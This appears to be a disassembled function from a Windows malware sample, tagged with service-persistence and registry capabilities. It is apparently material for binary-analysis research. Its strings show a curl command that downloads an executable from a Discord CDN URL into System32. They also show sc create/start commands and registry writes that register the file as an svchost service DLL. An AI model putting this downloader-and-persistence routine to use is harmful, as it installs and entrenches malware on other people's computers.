Function at 0x1400112a3
Capabilities:
Persist via windows service
Set registry value

Disassembly:
jmp 0x140013da0
push rbp
push rdi
sub rsp, 0x5c8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xfe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x560], rax
lea rcx, [0x1400290f5]
call fcn.1400115e1
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
lea rax, [0x14001f914]
mov qword [rbp + 0x28], rax
lea rax, [0x14001f914]
mov qword [rbp + 0x48], rax
lea rdx, str.sc_stop
lea rcx, [rbp + 0x68]
call fcn.14001128a
nop
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x68]
call fcn.140011078
lea rax, [rbp + 0x3e8]
mov qword [rbp + 0x428], rax
lea rcx, [rbp + 0x68]
call fcn.140011091
mov rdx, rax
mov rcx, qword [rbp + 0x428]
call fcn.14001128a
mov qword [rbp + 0x558], rax
mov rcx, qword [rbp + 0x558]
call fcn.140011645
lea rax, [rbp + 0x448]
mov qword [rbp + 0x488], rax
lea rdx, str.curl___silent_https:__cdn.discordapp.com_attachments_1089117636496994336_1200504448359874621_Client.exe___output_C:WindowsSystem32_systems.exe__nul_2_1
mov rcx, qword [rbp + 0x488]
call fcn.14001128a
mov qword [rbp + 0x558], rax
mov rcx, qword [rbp + 0x558]
call fcn.140011645
call fcn.140011320
lea rdx, str._SystemRoot_System32_systems.exe
lea rcx, [rbp + 0xa8]
call fcn.14001128a
nop
lea rdx, str.sc_create_IPs_binPath___SystemRoot_System32_systems.exe__k
lea rcx, [rbp + 0xe8]
call fcn.14001128a
nop
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0xe8]
call fcn.140011078
lea rdx, str.__type_own_start_auto
lea rcx, [rbp + 0xe8]
call fcn.140011078
lea rax, [rbp + 0x4a8]
mov qword [rbp + 0x4e8], rax
lea rcx, [rbp + 0xe8]
call fcn.140011091
mov rdx, rax
mov rcx, qword [rbp + 0x4e8]
call fcn.14001128a
mov qword [rbp + 0x558], rax
mov rcx, qword [rbp + 0x558]
call fcn.140011645
lea rdx, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp + 0x128]
call fcn.14001128a
nop
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x128]
call fcn.140011078
lea rdx, str.Parameters
lea rcx, [rbp + 0x128]
call fcn.140011078
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea rcx, [rbp + 0x168]
call fcn.14001128a
nop
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1c8], 0
lea rcx, [rbp + 0x128]
call fcn.140011091
mov qword [rsp + 0x40], 0
lea rcx, [rbp + 0x1a8]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea rcx, [rbp + 0x128]
call fcn.140011091
lea rcx, [rbp + 0x1a8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x1e4], eax
lea rcx, [rbp + 0xa8]
call fcn.14001153c
mov qword [rbp + 0x558], rax
lea rcx, [rbp + 0xa8]
call fcn.140011091
mov rcx, qword [rbp + 0x558]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.ServiceDll
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rbp + 0x168]
call fcn.140011091
lea rcx, [rbp + 0x1c8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x2011f
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x204], eax
mov rcx, qword [rbp + 0x48]
call fcn.140011285
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 7
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rdx, str.sc_start
lea rcx, [rbp + 0x228]
call fcn.14001128a
nop
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x228]
call fcn.140011078
lea rax, [rbp + 0x508]
mov qword [rbp + 0x548], rax
lea rcx, [rbp + 0x228]
call fcn.140011091
mov rdx, rax
mov rcx, qword [rbp + 0x548]
call fcn.14001128a
mov qword [rbp + 0x558], rax
mov rcx, qword [rbp + 0x558]
call fcn.140011645
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
nop
lea rcx, [rbp + 0x228]
call fcn.14001111d
nop
lea rcx, [rbp + 0x168]
call fcn.14001111d
nop
lea rcx, [rbp + 0x128]
call fcn.14001111d
nop
lea rcx, [rbp + 0xe8]
call fcn.14001111d
nop
lea rcx, [rbp + 0xa8]
call fcn.14001111d
nop
lea rcx, [rbp + 0x68]
call fcn.14001111d
lea rcx, [rbp - 0x50]
lea rdx, [0x14001f2c0]
call fcn.140011500
mov rcx, qword [rbp + 0x560]
xor rcx, rbp
call fcn.1400112e4
lea rsp, [rbp + 0x578]
pop rdi
pop rbp
ret